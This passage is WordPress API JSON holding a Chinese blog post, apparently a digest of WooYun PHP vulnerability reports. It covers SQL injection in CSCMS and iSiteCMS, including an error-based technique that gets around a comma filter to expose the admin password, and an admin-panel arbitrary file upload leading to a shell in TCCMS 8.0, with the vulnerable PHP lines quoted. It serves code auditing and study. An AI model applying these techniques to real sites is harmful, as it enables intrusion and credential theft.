\/>\n\u4e4b\u524dusername\u6ca1\u6709\u8fc7\u6ee4\uff0c\u867d\u7136\u770b\u7740\u548c\u5e26\u7740SELECT\u7684\u5b8c\u6574SQL\u8bed\u53e5\u6709\u533a\u522b\uff0c\u4f46\u662f\u6548\u679c\u662f\u4e00\u6837\u7684<\/p>\n<p>0x15 CSCMS V3.5 \u6700\u65b0\u8865\u4e01\u540e \u53c8\u4e00\u4e2aSQL\u6ce8\u5c04\uff08\u6e90\u7801\u8be6\u6790\uff09<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2014-050942\" target=\"_blank\" rel=\"noopener\">WooYun: CSCMS V3.5 \u6700\u65b0\u8865\u4e01\u540e \u53c8\u4e00\u4e2aSQL\u6ce8\u5c04\uff08\u6e90\u7801\u8be6\u6790\uff09<\/a><\/p>\n<p>\u8fd9\u4e2a\u5c31\u662f\u4e00\u4e2a\u5382\u5546\u6f0f\u8865\u7684addslash+\u65e0\u5f15\u53f7 \u76f2\u6ce8 \u4f46\u662f\u6bd4\u8f83\u6709\u65b0\u610f\u7684\u662f\uff0c\u4ed6\u4eec\u597d\u50cf\u6709\u4e00\u9635\u662f\u7528\u7684magic_quotes_gpc\u6765\u5904\u7406\u7684\uff0c\u53ea\u662f\u7ed9\u6570\u5b57\u8865\u4e0a\u4e86\u597d\u591a\u7684\u5f15\u53f7\uff0c\u800c\u4e14\u8fd8\u6f0f\u4e86\u51e0\u4e2a\u2026\u2026<\/p>\n<p>0x16 TCCMS \uff08\u6700\u65b0\uff098.0 \u540e\u53f0GETSHELL \uff08\u6e90\u7801\u8be6\u6790\uff09<\/p>\n<p><a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2014-050834\" target=\"_blank\" rel=\"noopener\">WooYun: TCCMS \uff08\u6700\u65b0\uff098.0 \u540e\u53f0GETSHELL \uff08\u6e90\u7801\u8be6\u6790\uff09<\/a><\/p>\n<p>\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\uff0c\u524d\u63d0\u662fupload\u4e3aON<br \/>\n$fullPath = $path . &#8220;\/&#8221; . $_POST[&#8220;name&#8221;];<br \/>\n\u5c45\u7136\u76f4\u63a5\u4ecePOST\u91cc\u9762\u53d6\u3002<\/p>\n<p>\u4e00\u822c\u60c5\u51b5\u4e0b\u5e94\u8be5\u662fuuid\u968f\u673a\u6570\u540d\u79f0\uff0c\u6216\u8005\u81f3\u5c11\u53bb\u4e0d\u53ef\u89c1\u5b57\u7b26\u5f3a\u52a0\u540e\u7f00\u3002<\/p>\n<p>\u76f4\u63a5\u4ecePOST\u4e2d\u53d6\u503c\u7684\u4e0b\u573a\u5c31\u662f\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u3002<\/p>\n<p>0x17 iSiteCMS\u53d1\u5e03\u5b89\u5168\u8865\u4e01\u540e\u4ecd\u7136\u6709\u51e0\u5904\u6ce8\u5c04\u6f0f\u6d1e\uff08\u6e90\u7801\u8be6\u6790+\u5b9e\u7ad9\u6f14\u793a\uff09<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-046702\" target=\"_blank\" rel=\"noopener\">WooYun: iSiteCMS\u53d1\u5e03\u5b89\u5168\u8865\u4e01\u540e\u4ecd\u7136\u6709\u51e0\u5904\u6ce8\u5c04\u6f0f\u6d1e\uff08\u6e90\u7801\u8be6\u6790+\u5b9e\u7ad9\u6f14\u793a\uff09<\/a><\/p>\n<p>\u8fd9\u4e2a\u6ce8\u5c04\u6709\u4e00\u4e2a\u7279\u522b\u4e4b\u5904\uff0c\u5c31\u662f\u8fc7\u6ee4\u4e86\u9017\u53f7\uff08\uff0c\uff09\uff0c\u56e0\u6b64\u8dd1\u8868\u65f6\u975e\u5e38\u4e0d\u987a\u5229\uff0c\u9700\u8981\u60f3\u5176\u4ed6\u7684\u65b9\u6cd5\u6765\u9a8c\u8bc1\u5371\u5bb3<br \/>\n$tos = explode(&#8216;,&#8217;,trim($arr[&#8216;to&#8217;]));<br \/>\n\u6ca1\u9519\uff0c\u8fd9\u4e00\u53e5\u5e72\u6389\u4e86\u9017\u53f7<\/p>\n<p>\u89e3\u51b3\u65b9\u6848\uff1a\u4e0d\u8dd1\u8868\u4e86\uff0c\u8bd5\u7740\u6784\u9020\u9519\u8bef\u56de\u663e\uff08\u56e0\u4e3a\u5e38\u89c4\u90a3\u9875\u9762\u662f\u6ca1\u6709\u56de\u663e\u7684\uff09\u76f4\u63a5\u7206\u7ba1\u7406\u5458\u5bc6\u7801<\/p>\n<p>\u601d\u8def\u603b\u7ed3\uff1a\u53d8\u91cf\u5230\u8fbe\u7b2c\u4e00\u4e2a\u6ce8\u5c04\u8bed\u53e5\u6ca1\u6709\u9017\u53f7\u65e0\u6cd5\u7a81\u7834\u65e0\u6cd5\u56de\u663e\uff0c\u575a\u6301\u7ee7\u7eed\u8bfb\uff0c\u7a0b\u5e8f\u80fd\u7ee7\u7eed\u8fd0\u884c\uff0c\u7136\u540e\u53d1\u73b0\u4e0b\u9762\u8fd8\u6709\u4e00\u53e5\u4e5f\u4f1a\u88ab\u6ce8\u5c04\u5230\uff0c\u7136\u540e\u6ce8\u5c04\u5230\u7684\u7ed3\u679c\u53c8\u62fc\u63a5\u5230\u53e6\u4e00\u4e2aSQL\u8bed\u53e5\u4e2d\uff0c\u800c\u62a5\u9519\u53c8\u662f\u5f00\u542f\u72b6\u6001\uff0c\u56e0\u6b64\u6784\u9020\u4e00\u4e0b\u5728SQL\u62a5\u9519\u7684\u5730\u65b9\u56de\u663e\u51fa\u5bc6\u7801<\/p>\n<p>0x18 CSCMS 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rel=\"noopener\">PHP\u6f0f\u6d1e\u6316\u6398\u601d\u8def+\u5b9e\u4f8b<\/a><\/p>\n<p><a href=\"http:\/\/drops.wooyun.org\/tips\/858\" target=\"_blank\" rel=\"noopener\">PHP\u6f0f\u6d1e\u6316\u6398\u601d\u8def+\u5b9e\u4f8b \u7b2c\u4e8c\u7ae0<\/a><\/p>\n<p style=\"color: #000000;\"><a href=\"http:\/\/code.google.com\/p\/pasc2at\/wiki\/SimplifiedChinese\" target=\"_blank\" rel=\"noopener\">\u9ad8\u7ea7PHP\u5e94\u7528\u7a0b\u5e8f\u6f0f\u6d1e\u5ba1\u6838\u6280\u672f<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e4b\u524d\u5728\u7528shell\u811a\u672c\u6279\u91cf\u83b7\u53d6drops\u4e0a\u7684\u6587\u7ae0\u65f6\u6709\u51e0\u7bc7\u662f\u5173\u4e8ePHP\u6f0f\u6d1e\u6316\u6398\u7684\uff0c\u7136\u540e\u518d\u52a0\u4e0a\u4e4b\u524d\u78b0\u5230\u7684\u201c\u9ad8\u7ea7PH [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25],"tags":[48],"class_list":["post-470","post","type-post","status-publish","format-standard","hentry","category-security","tag-php"],"views":4158,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/470","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=470"}],"version-history":[{"count":1,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/470\/revisions"}],"predecessor-version":[{"id":3680,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/470\/revisions\/3680"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=470"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=470"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=470"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}